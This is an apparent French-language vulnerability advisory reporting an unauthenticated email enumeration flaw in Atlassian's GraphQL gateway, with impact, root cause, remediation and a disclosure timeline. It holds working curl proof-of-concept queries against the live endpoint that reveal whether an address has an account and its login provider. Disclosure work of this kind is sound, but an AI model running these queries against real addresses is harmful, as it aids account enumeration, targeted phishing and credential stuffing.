CVE-2026-XXXX : Atlassian Central GraphQL — Oracle d'énumération d'e-mails

Produit

Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)

Type de vulnérabilité

CWE-204 : Divergence de réponse observable — Oracle d'énumération d'e-mails

Sévérité

MOYENNE — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

La requête GraphQL loomUnauthenticated_primaryAuthTypeForEmail sur la passerelle GraphQL centrale d'Atlassian renvoie des réponses différentes selon qu'une adresse e-mail est enregistrée ou non auprès d'Atlassian, permettant une énumération non authentifiée d'utilisateurs.

E-mail enregistré → renvoie authType (par ex. workos, password, google) et un URI de redirection E-mail non enregistré → renvoie authType: "none" sans URI de redirection

Aucune authentification n'est requise. Le nom de la requête contient « Unauthenticated » — elle est intentionnellement publique, mais elle ne devrait pas révéler si une adresse e-mail arbitraire possède un compte Atlassian.

Versions concernées

• Atlassian Central GraphQL Gateway (snapshot 37157, build 2026-07-02)
• Point de terminaison : https://api.atlassian.com/graphql

Preuve de concept

E-mail enregistré (renvoie le fournisseur d'authentification) :

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

Réponse :

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

E-mail non enregistré (renvoie « none ») :

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

Réponse :

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

Fuit également : correspondance e-mail → fournisseur d'authentification

authType: "workos" confirme que l'e-mail utilise WorkOS SSO. authType: "google" ou authType: "password" révélerait la méthode d'authentification. Cela permet un phishing ciblé.

Impact

Un attaquant non authentifié peut :

• Énumérer les comptes Atlassian/Loom enregistrés à grande échelle
• Associer les adresses e-mail à leur fournisseur d'authentification (Google SSO, WorkOS, mot de passe)
• Utiliser les informations du fournisseur d'authentification pour des campagnes de phishing ciblées
• Construire des listes d'utilisateurs Atlassian valides pour du bourrage d'identifiants

Cause racine

La requête loomUnauthenticated_primaryAuthTypeForEmail n'effectue aucune limitation de débit et renvoie des informations sur le fournisseur d'authentification pour toute adresse e-mail, sans authentification. Bien que le point de terminaison soit intentionnellement non authentifié (pour le flux d'inscription de Loom), il révèle si une adresse e-mail possède un compte et quel fournisseur d'authentification est utilisé.

Remédiation

1. Ajouter une limitation de débit pour empêcher l'énumération en masse
2. Renvoyer une réponse cohérente pour les e-mails enregistrés et non enregistrés
3. OU : exiger un CAPTCHA/nonce avant de vérifier le statut d'une adresse e-mail

Ce que ceci n'est PAS

Après des tests approfondis, ces affirmations ont été invalidées :

• ❌ Aucun jeton JWT avec privilèges (les jetons ont aaid: "unidentified")
• ❌ Aucune exécution de mutation admin (toutes échouent avec ValidationError)
• ❌ Aucun contournement d'authentification (la passerelle identifie correctement l'appelant comme unidentified)
• ❌ Aucune fuite de données au-delà de la correspondance e-mail/fournisseur d'authentification

Chronologie

• 2026-06-30 : Découverte
• 2026-06-30 : Signalée à [email protected]
• 2026-07-02 : Évaluation corrigée — abaissée de Critique (9.8) à Moyen (5.3)

Découvert par

Wh4l3X